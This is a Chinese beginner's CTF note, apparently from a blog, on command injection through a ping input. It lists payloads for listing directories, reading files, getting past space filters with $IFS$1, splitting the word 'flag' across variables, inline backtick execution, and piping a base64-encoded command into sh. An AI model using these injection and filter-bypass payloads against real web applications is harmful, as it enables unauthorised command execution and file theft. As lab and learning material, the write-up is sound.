当前位置:网站首页>CTF入门笔记之ping
CTF入门笔记之ping
2022-08-02 03:25:00 【SevenCold】
1.用命令行找flag文件
随便ping,然后跟ls
例如:1;ls

发现index.php文件
1;cat index.php 查看发现就是源网站。
那就向上找
1;ls …/
继续向上找
直到1;ls …/…/…/
发现flag 打开
1;cat …/…/…/flag
得到flag
2.绕过过滤打开文件
同样,先查看目录
payload:?ip=1;ls

发现两个文件,尝试直接打开index文件(虽然知道肯定不行)
payload:?ip=1;cat index.php
果然不行

猜可能过滤了空格(space),绕过空格过滤有很多方法,
%20、%09、$IFS 1 、 1、 1、{IFS}、<>、<还可以用{} 比如 {cat,flag},这里发现$IFS$1可以使用。
payload:?ip=1;cat$IFS$1index.php

发现一堆过滤,其中还包括flag
接下来就是绕过flag过滤就行了
方法一:拼接flag
payload:?ip=1;a=ag.php;b=fl;cat$IFS$1$b$a

在网站源码中可以看到flag
方法二:内联执行绕过(即``)
payload:?ip=1;cat$IFS$1`ls`
使用内联执行会将 ``内的输出作为前面命令的输入。

同样在源码中可以看到flag
方法三:base64编码绕过
payload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw即cat flag.php的base64编码

同上。在源码中找到flag。
边栏推荐
- [sebastian/diff] A historical change extension library for comparing two texts
- 每日五道面试题总结 22/7/19
- (2)Thinkphp6模板引擎**标签
- [league/flysystem] An elegant and highly supported file operation interface
- 每日五道面试题总结 22/7/20
- DVWA drone installation tutorial
- JS objects, functions and scopes
- Query the indexes of all tables in the database and parse them into sql
- 16. JS events, string and operator
- js 中this指向
猜你喜欢
随机推荐
4. The form with the input
js 正则中 replace() 使用
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
[symfony/mailer]一个优雅易用的发送邮件类库
IP门禁:手把手教你用PHP实现一个IP防火墙
[league/flysystem] An elegant and highly supported file operation interface
PHP8.2将会有哪些新东西?
(2)Thinkphp6模板引擎**标签
每日五道面试题总结 22/7/21
(3)Thinkphp6数据库
hackmyvm-hopper walkthrough
PHP 给图片添加全图水印
ES6三点运算符、数组方法、字符串扩展方法
二维码生成API接口,可以直接作为A标签连接
2. PHP variables, output, EOF, conditional statements
PHP入门(自学笔记)
12. What is JS
DarkHole: 2 vulnhub walkthrough
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
[mikehaertl/php-shellcommand] A library for invoking external command operations









